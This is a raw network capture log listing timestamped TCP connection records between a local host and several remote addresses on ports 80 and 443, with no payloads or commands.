Nov 20, 2024 23:12:55.647583008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647593021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647593975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647607088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647605896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647619963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647623062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647633076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647636890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647646904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647650957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647663116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647695065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647715092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647835970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647849083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647860050 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647871017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647881985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647886992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647896051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647907972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647911072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647921085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647924900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647933960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647948027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647953987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647958994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647977114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647979021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647989035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647998095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648001909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648008108 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648034096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648065090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648078918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648083925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648091078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648102045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648104906 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648128986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648132086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648143053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648154020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648154974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648168087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648169994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.648219109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648258924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.648540020 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.648556948 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.648771048 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.648866892 CET	443	49883	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.650228024 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.652101040 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.652111053 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.652278900 CET	49883	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.652288914 CET	443	49883	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.652441978 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.652544022 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.652559996 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.652570963 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.652576923 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.652607918 CET	443	49883	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.653094053 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.653094053 CET	49883	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.653177023 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.653181076 CET	443	49883	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.653238058 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.654083014 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.654089928 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.654365063 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.654397011 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.654511929 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.654516935 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.654834986 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.654844046 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.656666040 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.656702042 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.656790018 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.656925917 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.656940937 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.659859896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.659960985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.659975052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.660017014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.660247087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.660283089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.660316944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.660335064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.661237955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.661298037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.661335945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.661377907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.661952972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.662014008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.662055969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.662105083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.662898064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.662959099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.663367987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.663424969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.664208889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.664247990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.664275885 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.664308071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.664967060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.664995909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.665071011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.665378094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.665510893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.665560961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.666188002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.666244030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.666256905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.666301012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.667058945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.667113066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.667212963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.667267084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.667892933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.667949915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.668000937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.668199062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.668759108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.668814898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.668864965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.668935061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.669579983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.669639111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.669678926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.669728041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.670397043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.670453072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.670737982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.670790911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.670857906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.670917034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.671508074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.671591997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.671600103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.671642065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.672486067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.672534943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.672542095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.672581911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.673257113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.673378944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.673384905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.673435926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.674041986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.674117088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.674200058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.674256086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.674905062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.674962997 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.674976110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.675010920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.675873041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.675960064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.676259041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.676314116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.676594019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.676646948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.676683903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.676742077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.677467108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.677520037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.677625895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.677676916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.690911055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.690927982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.690983057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.690996885 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.697423935 CET	49883	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.699330091 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.764420986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.764605999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.766098976 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.766303062 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.766320944 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.767339945 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.767421007 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.767770052 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.767848015 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.768045902 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.768053055 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.782630920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.782651901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.782810926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.782810926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.783039093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.783090115 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.783188105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.783229113 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.783282042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.783324003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.784060001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.784121037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.784157991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.784256935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.784979105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.785027027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.785049915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.785087109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.785746098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.785794020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.785856009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.785898924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.786581039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.786629915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.786634922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.786676884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.787492990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.787542105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.787574053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.787612915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.788285971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.788304090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.788336992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.788361073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.789144993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.789215088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.789259911 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.789321899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.789980888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.790041924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.790041924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.790085077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.790932894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.790997982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.791011095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.791045904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.791701078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.791822910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.791835070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.791857004 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.792577028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.792633057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.792663097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.792706013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.793397903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.793451071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.793487072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.793530941 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.794289112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.794346094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.794349909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.794389963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.795089006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.795140028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.795187950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.795227051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.795938015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.796036005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.796092033 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.796807051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.796854019 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.796885967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.796931028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.797631025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.797681093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.797744989 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.797935009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.798481941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.798541069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.798607111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.798712969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.799341917 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.799403906 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.799439907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.799559116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.800208092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.800256014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.800308943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.800352097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.801032066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.801086903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.801116943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.801238060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.801868916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.801934958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.802017927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.802069902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.802719116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.802768946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.802845955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.802902937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.803698063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.803746939 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.803807020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.803859949 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.804428101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.804550886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.804589033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.804641008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.805272102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.805311918 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.805387974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.805425882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.806134939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.806185961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.806246042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.806291103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.806965113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.807005882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.807013988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.807041883 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.813374043 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.846429110 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.846462965 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.846532106 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.846544981 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.846606970 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.846613884 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.846647978 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.846708059 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.847032070 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.847032070 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.847047091 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.847054958 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.907994032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.908067942 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.908113003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.908256054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.908411980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.908447027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.908469915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.908515930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.909262896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.909312010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.909367085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.909420013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.910115957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.910223007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.910269022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.910958052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.911010981 CET	49799	80	192.168.2.7	185.215.113.206
